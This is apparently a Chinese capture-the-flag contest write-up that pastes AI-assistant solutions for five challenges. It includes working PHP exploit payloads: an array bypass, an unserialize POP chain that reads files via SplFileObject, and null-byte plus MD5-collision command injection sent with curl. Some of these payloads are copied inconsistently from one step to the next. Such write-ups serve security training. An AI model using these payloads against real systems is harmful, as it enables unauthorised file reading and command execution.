赛后总结时间太紧张了,一开始想着理论题能保底,狂刷了180到理论题,后来做实操题的时候发现实操体简单的令人发指,早知道就先做实操题了。图片隐写和木马分析卡了,图片隐写是因为没有找到html的特定工具,我真是太讨厌这些需要特定工具的图片题目了。木马分析没找到helper。题目5本来做出来了,时间到了没交上flag,一个半小时时间还是比较紧张。
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。全套题目包括web题目已根据回忆用AI复现了模拟靶场,一键docker启动,关注公众号“泷羽Sec-静安“,后台回复”第二届全国网络安全行业职业技能大赛初赛“即可领取。

题目 1
任务1: 源码审计
任务描述: 这是一个风景欣赏网站,但其源码中隐藏了不为人知的秘密。 提交要求: 进行简单的代码审计,绕过逻辑判断获取flag并提交。
收起靶机信息
**靶机地址:**http://171.111.222.4:11002
用户名:-
密码:-

1<?php
2highlight_file(__FILE__);
3include("flag.php");
4header("Content-type: text/html; charset=utf-8");
5$num = $_GET['num'];
6$cmd = $_GET['cmd'];
7if(preg_match("/[0-9]/", $num))
8{
9 die("no!");
10}
11if(intval($num))
12{
13
14 echo "give you flag: ".$flag;
15}
丢AI直接分析
核心思路:让 $num 不是字符串,而是数组,这样就能同时绕过两个 if,拿到 flag ✅
先分析一下代码逻辑:
1$num = $_GET['num'];
2$cmd = $_GET['cmd'];
3
4if(preg_match("/[0-9]/", $num))
5{
6 die("no!");
7}
8
9if(intval($num))
10{
11 echo "give you flag: ".$flag;
12}
想拿到 flag,必须让:
preg_match("/[0-9]/", $num)结果是 false(或报错返回 0/false),不能die("no!")intval($num)的结果为 非 0,这样才能进入第二个 if
同时题目还限制:$num 中不能出现 0–9 这些字符。
绕过关键点:让 $num 变成数组
PHP 里,如果你这样传参数:
1?num[]=abc
那么在 PHP 里:
1$num == array(0 => "abc"); // 也就是 $num 是一个数组
接下来看看两处判断在数组情况下的行为:
1. preg_match("/[0-9]/", $num)
preg_match 第二个参数必须是字符串,如果你给它传数组,会怎样?
会产生一个 warning:
preg_match(): Argument #2 ($subject) must be of type string, array given返回值是 false(0)
也就是说:
1if (preg_match("/[0-9]/", $num)) {
2 die("no!");
3}
在 $num 是数组时,这个 if 条件为 false,不会 die("no!"),第一关绕过 ✅
(注意:即便数组里面的元素是 "1", "2" 等带数字,preg_match 根本不会去遍历数组内容,它直接因为类型不对就失败了)
2. if(intval($num))
当你对数组做 intval() / (int) 强制转换时,PHP 的行为是:
非空数组 → 转为 int 1
空数组
array()→ 转为 int 0
也就是说:
1intval(array('abc')) === 1;
所以:
1if (intval($num)) {
2 echo "give you flag: ".$flag;
3}
当 $num 是一个 非空数组 时,就会进入 if,输出 flag ✅
最终利用方法(payload)
直接构造请求,让 num 是一个非空数组即可,比如:
GET 方式访问:
1http://your-target.com/index.php?num[]=abc
abc 里面爱怎么写都行,甚至可以带数字,因为 preg_match 根本不会对数组内部做匹配:
1http://your-target.com/index.php?num[]=123
在这两种情况下,执行流程是:
$num = $_GET['num'];→$num是数组preg_match("/[0-9]/", $num)报 warning,返回 0 → 不会 dieintval($num)→ 1(非 0)→ 条件为 true输出:
1give you flag: flag{...}
一句话总结
用
num[]=让$num变成数组,利用preg_match对数组报错返回 false +intval(非空数组) == 1的特性,轻松绕过两层判断拿 flag。
你只要在题目环境里访问类似:
1/index.php?num[]=a
就能看到 flag 了 🎯

Successflag{d9729feb74992cc3482b350163a1a010}
题目 2
任务2: 编码还原
任务描述: 附件压缩包中文件包含了一串字符,请分析其编码内容。 提交要求: 还原原始明文flag并提交。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/b2.zip cyberchef一把梭
1LJWXQ2C2GNZTCT2UM54U2MSNGRGWU3DJJZLU2NK2KRHGQTSUNBVE2VCNGRHGUVL2LJKGQ22NI5NG2WSYGA6Q====
2ZmxhZ3s1OTgyM2M4MjliNWM5ZTNhNThjMTM4NjUzZThkMGZmZX0=

Successflag{59823c829b5c9e3a58c138653e8d0ffe}
题目 3
任务3: POP链构造
任务描述: 目标站点使用了SPL进行开发。 提交要求: 利用反序列化漏洞构造POP链,结合SPL特性获取服务器权限或读取flag并提交。
收起靶机信息
**靶机地址:**http://171.111.219.56:11013
用户名:-
密码:-
1<?php
2error_reporting(0);
3highlight_file(__FILE__);
4
5class A{
6 public $username;
7 public $password;
8 public function __construct()
9 {
10 $this->username = "happy";
11 $this->password = "super";
12 $context = new $this->username ($this->password);
13 var_dump($context);
14 foreach($context as $f){
15 echo $f;
16 }
17 }
18
19 public function __wakeup()
20 {
21 $con = new $this->username ($this->password);
22 foreach($con as $f){
23 echo $f;
24 }
25 }
26
27}
28class B{
29 var $password;
30 public function __construct($user)
31 {
32 $this->password = $user;
33 echo ("hi ".$this->password);
34 }
35}if(isset($_POST['un'])){
36 unserialize($_POST['un']);
37}
38else{
39 $demo=new A;
40
41}
还是直接丢GPT

这题就是典型的 unserialize 链 + 反序列化利用 SplFileObject 读文件 😊
先一起把代码逻辑捋一下(去掉无关的):
1error_reporting(0);
2highlight_file(__FILE__);
3
4class A{
5 public $username;
6 public $password;
7 public function __construct()
8 {
9 $this->username = "happy";
10 $this->password = "super";
11 $context = new $this->username ($this->password);
12 var_dump($context);
13 foreach($context as $f){
14 echo $f;
15 }
16 }
17
18 public function __wakeup()
19 {
20 $con = new $this->username ($this->password);
21 foreach($con as $f){
22 echo $f;
23 }
24 }
25
26}
27class B{
28 var $password;
29 public function __construct($user)
30 {
31 $this->password = $user;
32 echo ("hi ".$this->password);
33 }
34}if(isset($_POST['un'])){
35 unserialize($_POST['un']);
36}
37else{
38 $demo=new A;
39}
关键点:
有个
unserialize($_POST['un']);,完全没做过滤,可控。只要我们反序列化一个
A类对象,就会自动触发A::__wakeup()。__wakeup()里干了这件事:
1$con = new $this->username ($this->password);
2foreach($con as $f){
3 echo $f;
4}
也就是:
用
$this->username当类名,$this->password当构造参数,去new 一个对象;然后对这个对象
foreach,把每一项echo出来。
⚠️ 构造函数 __construct 在反序列化时 不会 自动触发,触发的是 __wakeup,所以 我们可以完全控制 $username 和 $password,而不会被构造函数重置成 "happy" / "super"。
思路:用 SplFileObject 读 flag 文件
PHP 里有个内置类:SplFileObject,构造方式是:
1new SplFileObject("filename");
它是 可遍历的,foreach (new SplFileObject("xxx") as $line) 会一行一行遍历文件内容,每个 $line 就是文件的一行。
非常符合我们想要的效果:
让
$username = "SplFileObject",$password = "flag.php"(或者 flag 文件的真实名字)
然后在 __wakeup() 中:
1$con = new SplFileObject("flag.php");
2foreach ($con as $f) {
3 echo $f; // 逐行输出 flag.php 的内容
4}
💥 获取 flag。
构造恶意序列化数据
要自己构造一个 A 类的序列化对象,带上我们想要的属性:
1O:1:"A":2:{
2 s:8:"username";s:13:"SplFileObject";
3 s:8:"password";s:8:"flag.php";
4}
注意几个长度:
类名
A→"A"长度是 1 →O:1:"A":...username这个单词 8 个字符 →s:8:"username"password同样 8 个字符 →s:8:"password""SplFileObject"
计数:S p l F i l e O b j e c t → 13 个字符 →s:13:"SplFileObject""flag.php"→f(1) l(2) a(3) g(4) .(5) p(6) h(7) p(8)→ 8 个字符 →s:8:"flag.php"
所以最终 payload 是:
1O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}
实际利用方式示例
直接 POST 过去即可,例如用 curl:
1curl -X POST \
2 -d 'un=O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}' \
3 http://your-target.com/index.php
如果题目环境中 flag 文件名不是 flag.php,而是 flag、/flag、/var/www/html/flag 等,就把 "flag.php" 替换掉即可。
如果不知道 flag 文件名怎么办?
还可以用目录遍历类先“探路”:
第一步:列目录名
用
DirectoryIterator:1username = "DirectoryIterator"; 2password = ".";构造:
1O:1:"A":2:{s:8:"username";s:17:"DirectoryIterator";s:8:"password";s:1:".";}这样在
__wakeup()中:1$con = new DirectoryIterator("."); 2foreach($con as $f){ 3 echo $f; // 会打印文件名(DirectoryIterator 有 __toString) 4}你可以从输出中找到类似
flag.php/flag_xxx的文件名。第二步:再用 SplFileObject 读具体文件
换成前面的
SplFileObject + 真正 flag 文件名再打一发。
总结一下利用链
入口:
unserialize($_POST['un']);魔法方法:
A::__wakeup()自动执行可控点: 我们可控
A对象的username和password利用点:
设置
$username = "SplFileObject"设置
$password = "flag.php"(或者真实 flag 文件)通过
foreach(new SplFileObject(...)) echo $f;逐行读出文件内容
最终 payload:
1un=O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}
发上去,页面直接把 flag 打出来 👏
如果你贴一下题目目录结构或提示 flag 路径,我可以帮你把 payload 精确到具体文件名。
题目 4
任务4: 图片隐写
任务描述: 这张猫咪图片看起来很普通,但似乎文件尾部藏有东西,或者图片内容经过了特殊处理。 提交要求: 使用隐写工具分析图片,提取隐藏的flag并提交。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/html.png
参考 https://mp.weixin.qq.com/s/**d63Jg5rXuQfDJjqEhtIPbw
html.png的文件名暗示了解出的信息是 HTML实体(Hex编码字符)
这是 stylesuxx.github.io/steganography 这个工具的典型输出特征。
https://stylesuxx.github.io/steganography/
1flag{h0w_4bouT_enc0de_4nd_pnG}

Successflag{h0w_4bouT_enc0de_4nd_pnG}
想在本地复现 stylesuxx.github.io/steganography 那样的 LSB 解码(并把 &#x..; 等实体转回明文),下面给你一个「尽可能稳健」的 Python 脚本。它会批量尝试多种常见的 LSB 配置(通道组合、使用的 LSB 位数、位面等),并把每种尝试的输出保存为文件,方便你在本地离线排查是哪一种配置能还原出可读文本。
脚本特点:
只依赖 Pillow(PIL)和标准库
html;尝试通道:R、G、B、A、以及混合(RGB 同时读取);
尝试每像素使用 1~4 个最低有效位(LSB);
尝试位面(bitplane)0~3(0=LSB,1=次LSB…);
对每种组合,按两种字节构造顺序(MSB-first / LSB-first)拼字节;
自动做
html.unescape(),并输出可打印字符比例用于判断是否为合理结果;将每种尝试的原文候选保存到
results/目录,文件名注明配置,便于比对。
把下面脚本保存为 lsb_bruteforce.py,安装依赖并运行即可。
1# lsb_bruteforce.py
2# Usage:
3# pip install pillow
4# python lsb_bruteforce.py html.png
5#
6# 输出会写入 ./results/ 目录,带每种尝试的配置。
7
8import sys
9import os
10from PIL import Image
11import html
12import string
13
14def ensure_dir(d):
15 if not os.path.exists(d):
16 os.makedirs(d)
17
18def get_pixels(img):
19 # Return pixel sequence as list of tuples
20 px = list(img.getdata())
21 return px
22
23def extract_bits_from_channel_value(val, bitplane, nbits):
24 """
25 Extract nbits starting at bitplane (0 = LSB) from value.
26 Return list of bits as '0'/'1' in order from most-significant-of-extracted to least.
27 e.g. val=0bABCDEFGH, bitplane=0, nbits=2 -> extract bits H (bit0) and G (bit1)
28 We return them in order [G,H] if we later want MSB-first grouping, but we'll control ordering later.
29 """
30 bits = []
31 for i in range(nbits):
32 bpos = bitplane + i
33 bits.append( (val >> bpos) & 1 )
34 # Return as strings
35 return [str(b) for b in bits]
36
37def build_byte_from_bits(bit_list, msb_first=True):
38 """Take up to 8 bits (strings '0'/'1') and return an int byte.
39 If fewer than 8 bits at end, pad with zeros on the right (least significant side)."""
40 if len(bit_list) < 8:
41 # pad with '0' to full byte
42 bit_list = bit_list + ['0'] * (8 - len(bit_list))
43 if msb_first:
44 s = ''.join(bit_list[:8])
45 return int(s, 2)
46 else:
47 # LSB-first ordering: first bit is least significant
48 s = ''.join(reversed(bit_list[:8]))
49 return int(s, 2)
50
51def bits_to_bytes_and_text(bit_stream, msb_first=True, max_chars=200000):
52 # group into bytes and try decode as utf-8 (ignore errors)
53 bytes_arr = bytearray()
54 for i in range(0, len(bit_stream), 8):
55 b = build_byte_from_bits(bit_stream[i:i+8], msb_first=msb_first)
56 bytes_arr.append(b)
57 if len(bytes_arr) >= max_chars:
58 break
59 try:
60 text = bytes_arr.decode('utf-8', errors='replace')
61 except Exception:
62 text = ''.join(chr(b) for b in bytes_arr)
63 return bytes_arr, text
64
65def printable_ratio(s):
66 if not s:
67 return 0.0
68 printable = sum(1 for ch in s if ch in string.printable)
69 return printable / len(s)
70
71def try_configs(img_path, outdir='results'):
72 img = Image.open(img_path)
73 # if image has palette convert to RGBA/RGB
74 mode = img.mode
75 if mode not in ('RGB', 'RGBA'):
76 if 'A' in mode:
77 img = img.convert('RGBA')
78 else:
79 img = img.convert('RGB')
80
81 px = get_pixels(img)
82 width, height = img.size
83 channels_map = {
84 'R': 0, 'G': 1, 'B': 2, 'A': 3
85 }
86 channel_options = [
87 ('R', ['R']),
88 ('G', ['G']),
89 ('B', ['B']),
90 ('A', ['A']) if img.mode == 'RGBA' else None,
91 ('RG', ['R','G']),
92 ('RB', ['R','B']),
93 ('GB', ['G','B']),
94 ('RGB', ['R','G','B']),
95 ]
96 channel_options = [c for c in channel_options if c is not None]
97
98 ensure_dir(outdir)
99
100 total_tries = 0
101 for ch_name, ch_list in channel_options:
102 for bitplane in range(0, 4): # which bitplane to start (0 = LSB)
103 for nbits in range(1, 5): # how many LSBs per selected channel (1..4)
104 # Build bit stream
105 bit_stream = []
106 for p in px:
107 # p might be (r,g,b) or (r,g,b,a)
108 for ch in ch_list:
109 idx = channels_map[ch]
110 if idx >= len(p):
111 continue
112 val = p[idx]
113 bits = extract_bits_from_channel_value(val, bitplane, nbits)
114 # We append bits in order of extraction (lower bitplane first)
115 # That yields: [bit_at(bitplane), bit_at(bitplane+1), ...]
116 # The grouping later will try both MSB-first and LSB-first.
117 bit_stream.extend(bits)
118
119 # try two byte bit-orderings: msb_first True & False
120 for msb_first in (True, False):
121 total_tries += 1
122 b_arr, txt = bits_to_bytes_and_text(bit_stream, msb_first=msb_first)
123 # post-process: unescape html entities
124 unescaped = html.unescape(txt)
125 pr = printable_ratio(unescaped)
126 # heuristics filename
127 fname = f"{outdir}/out_{ch_name}_bp{bitplane}_nb{nbits}_{'MSB' if msb_first else 'LSB'}.txt"
128 with open(fname, 'w', encoding='utf-8', errors='replace') as f:
129 f.write("=== Metadata ===\n")
130 f.write(f"image: {img_path}\nchannels: {ch_name}\nbitplane(start): {bitplane}\nnbits_per_channel: {nbits}\nbyte_bit_order_msb_first: {msb_first}\n\n")
131 f.write("=== Raw decode (utf-8 replace) ===\n")
132 f.write(txt)
133 f.write("\n\n=== html.unescape ===\n")
134 f.write(unescaped)
135 f.write("\n\n=== Stats ===\n")
136 f.write(f"length chars: {len(unescaped)}\nprintable ratio: {pr:.4f}\n")
137 # print quick summary to console for convenience
138 summary = f"Try {total_tries}: ch={ch_name} bp={bitplane} nb={nbits} msb={msb_first} printable_ratio={pr:.3f} -> {fname}"
139 print(summary)
140 print(f"Done. total tries: {total_tries}. Results in: {outdir}/")
141
142if __name__ == "__main__":
143 if len(sys.argv) < 2:
144 print("Usage: python lsb_bruteforce.py path/to/html.png")
145 sys.exit(1)
146 img_path = sys.argv[1]
147 try:
148 try_configs(img_path, outdir='results')
149 except Exception as e:
150 print("Error:", e)
151 raise
如何判断哪个结果是“正确的”
打开
results/目录下的.txt文件,查看=== html.unescape ===部分。正确的结果通常有高可打印字符比例(printable_ratio 接近 0.9+),并且有明显可读的文本,例如
&#x..;已被转为flag{...}或 URL/ASCII 文本。如果你发现输出仍然是 HTML 实体(
&#x..;),再把那段实体文本用 Python 的html.unescape()(脚本已经做过)或在线 HTML entity decode 转换一次即可。
可能的进一步步骤(如果上面没解出可读文本)
有些隐写工具把位顺序、通道顺序或字节组装方式弄得更复杂;如果上述尝试都没结果,可以:
增加
bitplane到更大值(比如 0..7) — 但通常 0..3 就够了;尝试不同的像素遍历顺序(现在是左到右、上到下);可尝试列优先或分块读取;
如果结果看起来像 Base64(只含字母数字+/=),做一次 base64 解码;
如果结果像二进制加密(无高可打印率),可能还有 XOR/AES 等二次加密,需要额外分析。
很好,你已经跑出 256 个候选结果 — 现在的任务是快速筛出最可能有用的几个文件。下面我先给你一套清晰的判别规则(为什么选),然后给你一个可直接在本地运行的 Python 脚本来自动打分并列出最有希望的前 N 个文件,以及若干简单的命令行快速检查方法。照着做 1–2 分钟就能把 256 个结果缩到 5 个以内。
一、判断“有用”的直观信号(优先级从高到低)
可打印字符比例高(printable ratio 高) —— 接近 0.8~1.0 极有可能是可读文本。
包含 HTML 实体
&#x串(说明提取出的是实体编码,后续html.unescape()会还原) —— 你先前提到就是这种情形。包含明显关键字:
flag、FLAG、CTF、{、}、http、base64、BEGIN/--BEGIN等。看起来像 Base64(只有 A-Za-z0-9+/= 且长度较长) —— 可能还需 base64 解码。
低熵但可打印(长序列的英文单词/句子) —— 很可能是最终明文。
随机乱码、多不可打印字符/非 ASCII —— 通常无用(排除)。
二、如果你想更快(命令行小技巧)
在 Linux / macOS / WSL / Git Bash 下:
- 直接查找包含
flag的文件:
1grep -R -i "flag" results/ -n
- 找出包含 HTML 实体的文件:
1grep -R "&#x" results/ -n
- 列出含高 printable_ratio 的(假设你没有用脚本产生 ratio,但可以看文件大小或直接 head):
1# show first 200 chars of each file (quick glance)
2for f in results/*.txt; do echo "==== $f ===="; head -c 200 "$f"; echo; echo; done
在 Windows PowerShell:
1Select-String -Path .\results\*.txt -Pattern "flag","&#x" -CaseSensitive:$false
三、对 html.unescape() 的进一步处理建议
如果文件内容是
&#x..;实体 —— 直接用脚本或html.unescape()(你的 earlier 脚本已做)。如果解码后得到看起来像
aGVsbG8...(Base64),再做base64.b64decode()。如果得到奇怪二进制或看起来像随机文本,可能还有 XOR/AES,需要进一步分析(但先不要到那一步,通常不会)。
你可以把 rank_results.py 的输出 top 5 的文件名贴上来,或把其中第1个文件的 === html.unescape === 部分直接粘贴,我来替你把那段进一步还原(HTML 解码 -> Base64 解码 -> 关键词检测 -> 可能的简单 XOR 检查),并给出明确下一步操作。
要不要我现在帮你跑这一轮自动筛选(你把 results/ 打包上传或把 top few 文件内容贴上来)?如果你不想上传,我也会一步步指导你本地运行上面的脚本并解读输出。Python:
1import html
2encoded = "flag{h0w_4bouT_enc0de_4nd_pnG}"
3print(html.unescape(encoded))
在线工具:
搜索关键词:HTML Entity Decode
任选一个贴进去即可
题目 5
任务5: 逻辑绕过
任务描述: 目标系统存在一处逻辑较为复杂的代码漏洞。 提交要求: 审计代码,构造特定的请求参数绕过安全检查,读取flag并提交。
收起靶机信息
靶机地址: http://203.3.80.99:11006
用户名:-
密码:-
1<?php
2
3if (isset($_GET['password']) || isset($_GET['cmd'])) {
4
5 if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
6
7 echo '<p>You password must be alphanumeric</p>';
8
9 } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {
10
11 if (strpos($_GET['password'], '*-*') !== FALSE) {
12
13 $cmd = $_GET['cmd'];
14
15 if (preg_match(
16 "/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|\"|`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",
17 $cmd
18 )) {
19
20 echo("forbid ~");
21 echo "<br>";
22
23 } else {
24
25 if ((string)$_POST['a'] !== (string)$_POST['b'] &&
26 md5($_POST['a']) === md5($_POST['b'])) {
27
28 echo `$cmd`;
29
30 } else {
31 echo ("md5 is funny ~");
32 }
33 }
34
35 } else {
36 echo '<p>*-* have not been found</p>';
37 }
38 } else {
39 echo '<p>Invalid password</p>';
40 }
41}
42highlight_file(__FILE__);
43?>
我来帮你分析这段PHP代码的逻辑漏洞。
代码逻辑分析
这段代码有多层检查:
- 第一层检查:
ereg ("^[a-zA-Z0-9]+$", $_GET['password'])- 密码必须是字母数字 - 第二层检查:
strlen($_GET['password']) < 8 && $_GET['password'] > 9999999- 这里有逻辑漏洞! - 第三层检查:
strpos ($_GET['password'], '*-*') !== FALSE- 密码必须包含*-* - 第四层检查:
preg_match过滤危险命令 - 第五层检查:MD5碰撞 -
$_POST['a']和$_POST['b']必须不同但MD5相同
关键漏洞点
第二层的逻辑问题:
1strlen($_GET['password']) < 8 && $_GET['password'] > 9999999
这里同时要求:
- 字符串长度小于8
- 数值大于9999999
PHP在类型比较时会进行类型转换。当字符串与数字比较时,字符串会被转换为数字。
例如:"1e8" (科学计数法)
strlen("1e8")= 3 (小于8) ✓"1e8" > 9999999→100000000 > 9999999✓
但这与第一层和第三层冲突:
- 第一层要求纯字母数字(
ereg允许通过) - 第三层要求包含
*-*(不是字母数字)
真正的突破口:ereg函数的NULL字节截断漏洞!
绕过方案
使用URL编码的NULL字节 %00 来截断ereg的检查:
password=1e8%00*-*
ereg只检查到%00前的1e8,认为是纯字母数字 ✓strlen("1e8\0*-*")= 7 < 8 ✓"1e8\0*-*" > 9999999→ 转换为1e8= 100000000 > 9999999 ✓strpos能找到完整字符串中的*-*✓
完整的攻击请求
GET参数:
?password=1e8%00*-*&cmd=cat flag
POST参数 (MD5碰撞):
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这两个值内容不同但MD5值相同。
这样就可以绕过所有检查,执行cat flag命令读取flag了。> [!question]
flag不一定在这个目录下,怎么看目录有哪些文件,什么命令可以替代ls的功能
好问题!
ls被过滤了,我们可以用这些命令替代:
1# 方案1: 使用 dir (Linux也支持)
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=dir' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2'
1# 方案2: 使用通配符 * (但*被过滤了,用 printf)
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=printf%20%27%25s%5Cn%27%20*' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
1# 方案3: 使用 find (最强大,可以搜索整个系统)
2# 搜索当前目录
3curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20.' \
4 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
5 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
1# 方案4: 搜索根目录下所有名为flag的文件
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20/%20%20name%20flag' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
先试试 dir 或 find . 看看当前目录有什么文件!
完美!找到flag文件了:f1ag098765432.php
现在读取它:
1curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=sort%20f1ag098765432.php' \
2 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
3 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
或者用其他命令:
1# 使用 strings
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=strings%20f1ag098765432.php' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
1# 使用 rev
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=rev%20f1ag098765432.php' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
执行任意一条就能读取到flag了!🚀
1# 方案3: 使用 find (最强大,可以搜索整个系统)
2# 搜索当前目录
3curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20.' \
4 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
5 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
6
7
8curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=sort%20f1ag098765432.php' \
9 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
10 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

